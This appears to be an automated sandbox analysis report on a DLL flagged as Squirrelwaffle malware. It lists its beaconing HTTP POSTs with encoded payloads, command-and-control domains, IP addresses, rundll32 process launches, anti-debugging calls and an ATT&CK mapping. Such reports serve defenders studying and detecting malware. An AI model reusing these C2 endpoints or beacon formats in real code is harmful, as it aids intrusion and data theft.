Source: global traffic	HTTP traffic detected: POST /DlOBqKAf/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8 HTTP/1.1Host: opulent-imports.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Source: Joe Sandbox View

IP Address: 103.50.162.157 103.50.162.157

Source: unknown

HTTP traffic detected: POST /4ByNgaVdId6/OQsaDixzHTgtfjMcGypGenN5Yn59cmV+YXg= HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Source: unknown

DNS traffic detected: queries for: marianaleyton.com

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10001DB0 _time64,_localtime64,memchr,WSAStartup,getaddrinfo,_invalid_parameter_noinfo_noreturn,rand,memmove,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memmove,memmove,memmove,memmove,memmove,memmove,memmove,memmove,_invalid_parameter_noinfo_noreturn,socket,connect,closesocket,freeaddrinfo,WSACleanup,WSACleanup,send,closesocket,WSACleanup,shutdown,recv,closesocket,WSACleanup,

0_2_10001DB0

Source: test2.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB	0_2_031E43BB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E28A5	0_2_031E28A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E140C	0_2_031E140C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E3607	0_2_031E3607
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000	0_2_031E1000
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E2726	0_2_031E2726
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4726	0_2_031E4726
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4822	0_2_031E4822
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E5523	0_2_031E5523
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E344C	0_2_031E344C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E416C	0_2_031E416C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031ED469	0_2_031ED469
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E3D9D	0_2_031E3D9D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E38BC	0_2_031E38BC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E36C8	0_2_031E36C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4BC1	0_2_031E4BC1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001470	0_2_10001470
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100016E0	0_2_100016E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B243BB	2_2_04B243BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B228A5	2_2_04B228A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B238BC	2_2_04B238BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B23D9D	2_2_04B23D9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B24BC1	2_2_04B24BC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B236C8	2_2_04B236C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B24822	2_2_04B24822
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B25523	2_2_04B25523
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B22726	2_2_04B22726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B24726	2_2_04B24726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B21000	2_2_04B21000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B23607	2_2_04B23607
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B2140C	2_2_04B2140C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B2D469	2_2_04B2D469
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B2416C	2_2_04B2416C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B2344C	2_2_04B2344C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A43BB	3_2_043A43BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A28A5	3_2_043A28A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A38BC	3_2_043A38BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A4822	3_2_043A4822
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A5523	3_2_043A5523
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A2726	3_2_043A2726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A4726	3_2_043A4726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A3D9D	3_2_043A3D9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A140C	3_2_043A140C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A1000	3_2_043A1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A3607	3_2_043A3607
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A416C	3_2_043A416C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A36C8	3_2_043A36C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A344C	3_2_043A344C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A4BC1	3_2_043A4BC1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001470	3_2_10001470
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100016E0	3_2_100016E0

Source: test2.dll	Virustotal: Detection: 19%
Source: test2.dll	ReversingLabs: Detection: 15%

Source: test2.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\test2.dll,GetSound

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\test2.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\test2.dll,GetSound
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\test2.dll,GetSound	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1	Jump to behavior

Source: classification engine

Classification label: mal84.troj.evad.winDLL@7/0@640/18

Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source:

Binary string: C:\Users\Administrator\source\repos\Dll1\Release\Dll1.pdb source: rundll32.exe

Data Obfuscation:

Yara detected Squirrelwaffle

Show sources

Source: Yara match	File source: 3.2.rundll32.exe.ca0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.f50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.869235382.0000000001140000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.315143728.0000000000F50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.870228456.0000000000CA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push 00000000h; mov dword ptr [esp], esi	0_2_031E45F7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push 00000000h; mov dword ptr [esp], ebp	0_2_031E4714
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push 00000000h; mov dword ptr [esp], esi	0_2_031E4C0F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push 00000000h; mov dword ptr [esp], edx	0_2_031E4DA6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push edx; mov dword ptr [esp], 00000004h	0_2_031E4E0B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E43BB push 00000000h; mov dword ptr [esp], edx	0_2_031E4EDF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E28A5 push 00000000h; mov dword ptr [esp], esi	0_2_031E2D1B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E28A5 push 00000000h; mov dword ptr [esp], ecx	0_2_031E2D5D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E28A5 push 00000000h; mov dword ptr [esp], edx	0_2_031E3086
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E28A5 push 00000000h; mov dword ptr [esp], edi	0_2_031E3146
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E181E push ebp; mov dword ptr [esp], 00000003h	0_2_031E1864
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E181E push eax; mov dword ptr [esp], 00F00000h	0_2_031E186D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E3607 push 00000000h; mov dword ptr [esp], ecx	0_2_031E367E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push 00000000h; mov dword ptr [esp], ecx	0_2_031E1095
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push 00000000h; mov dword ptr [esp], ecx	0_2_031E10DC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push 00000000h; mov dword ptr [esp], edx	0_2_031E11C5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push 00000000h; mov dword ptr [esp], esi	0_2_031E11F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push 00000000h; mov dword ptr [esp], ebp	0_2_031E121E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E1000 push edx; mov dword ptr [esp], 000FFFFFh	0_2_031E12DE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E2726 push 00000000h; mov dword ptr [esp], ecx	0_2_031E2739
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E2726 push 00000000h; mov dword ptr [esp], esi	0_2_031E27D7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E2726 push eax; mov dword ptr [esp], 0000F000h	0_2_031E2813
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4726 push 00000000h; mov dword ptr [esp], edx	0_2_031E4DA6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4726 push edx; mov dword ptr [esp], 00000004h	0_2_031E4E0B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4726 push 00000000h; mov dword ptr [esp], edx	0_2_031E4EDF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4822 push 00000000h; mov dword ptr [esp], edx	0_2_031E4DA6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4822 push edx; mov dword ptr [esp], 00000004h	0_2_031E4E0B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E4822 push 00000000h; mov dword ptr [esp], edx	0_2_031E4EDF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E344C push 00000000h; mov dword ptr [esp], edx	0_2_031E349A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E344C push 00000000h; mov dword ptr [esp], edx	0_2_031E34AA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E344C push 00000000h; mov dword ptr [esp], edx	0_2_031E3508

Source: test2.dll	Static PE information: section name: .rdatat
Source: test2.dll	Static PE information: section name: .gksm

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_031E43BB LoadLibraryA,GetProcAddress,

0_2_031E43BB

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,_printf,_localtime32_s,asctime_s,asctime_s,_localtime32_s,asctime_s,GetProcessHeap,HeapFree,		0_2_100011A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,_printf,_localtime32_s,asctime_s,asctime_s,_localtime32_s,asctime_s,GetProcessHeap,HeapFree,		3_2_100011A0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10008F4A IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_10008F4A

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_031E344C or edx, dword ptr fs:[00000030h]	0_2_031E344C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04B2344C or edx, dword ptr fs:[00000030h]	2_2_04B2344C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_043A344C or edx, dword ptr fs:[00000030h]	3_2_043A344C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_031E43BB LoadLibraryA,GetProcAddress,

0_2_031E43BB

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_100011A0 GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,_printf,_localtime32_s,asctime_s,asctime_s,_localtime32_s,asctime_s,GetProcessHeap,HeapFree,

0_2_100011A0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10005880 ldr,

0_2_10005880

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10008633 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_10008633
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10008F4A IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_10008F4A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10008633 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_10008633
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10008F4A IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_10008F4A

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: pedroaros.cl
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: surveillantfire.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: kvrassociates.net
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.146.22.232 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.254.235.244 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 198.38.82.168 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: nkp.hr
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.185.46.34 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: sologicgroup.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 128.0.46.214 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.185.113.204 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: profitshub.in
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: ditrpshop.in
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.20.51.238 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 199.193.116.170 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: marianaleyton.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 165.227.90.171 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: hynot-adventures.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: muwatin.net
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: dhananialegalaid.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.222.139.54 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 103.125.80.58 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.58.73.28 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 67.227.144.24 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: giversherbalproducts.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: baetrading.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: apimar.eu
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 184.168.102.202 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 50.87.147.76 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 103.50.162.157 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: streamline-trade.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: nitro2point0.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: opulent-imports.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 166.62.10.34 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: aulaintelimundo.com

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.870169168.0000000001BB0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.872653600.0000000002F90000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.870169168.0000000001BB0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.872653600.0000000002F90000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.870169168.0000000001BB0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.872653600.0000000002F90000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.870169168.0000000001BB0000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.872653600.0000000002F90000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10008DA1 cpuid

0_2_10008DA1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_100090EE GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_100090EE

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_10003B10 Sleep,getenv,getenv,getenv,signal,GetComputerNameW,memmove,memmove,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GetUserNameW,memmove,memmove,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memmove,_invalid_parameter_noinfo_noreturn,NetWkstaGetInfo,memmove,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memmove,NetApiBufferFree,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memset,Sleep,memmove,?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z,?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z,WinExec,memmove,?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z,?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z,system,strtoul,strtoul,CreateEventW,VirtualAlloc,memmove,CreateThreadpoolWait,SetThreadpoolWait,WinExec,?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z,??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ,_invalid_parameter_noinfo_noreturn,

0_2_10003B10

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001150 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,		0_2_10001150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001150 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,		3_2_10001150

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection112	Process Injection112	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Obfuscated Files or Information1	LSASS Memory	Security Software Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery12	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
test2.dll	20%	Virustotal		Browse
test2.dll	16%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.rundll32.exe.43a0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
2.2.rundll32.exe.4b20000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
0.2.loaddll32.exe.31e0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File

Domains

Source	Detection	Scanner	Link
muwatin.net	0%	Virustotal	Browse
pedroaros.cl	0%	Virustotal	Browse
surveillantfire.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://giversherbalproducts.com/lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/	0%	Avira URL Cloud	safe
giversherbalproducts.com/lBawcxb5	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
http://ditrpshop.in/oHbAKuM0/fQEdNBwFeEJ9dnlkenp3ZXhlfw==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
ditrpshop.in/oHbAKuM0	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA==	0%	Avira URL Cloud	safe
surveillantfire.com/s6ImD3DAJs	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/chwzH0Z6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
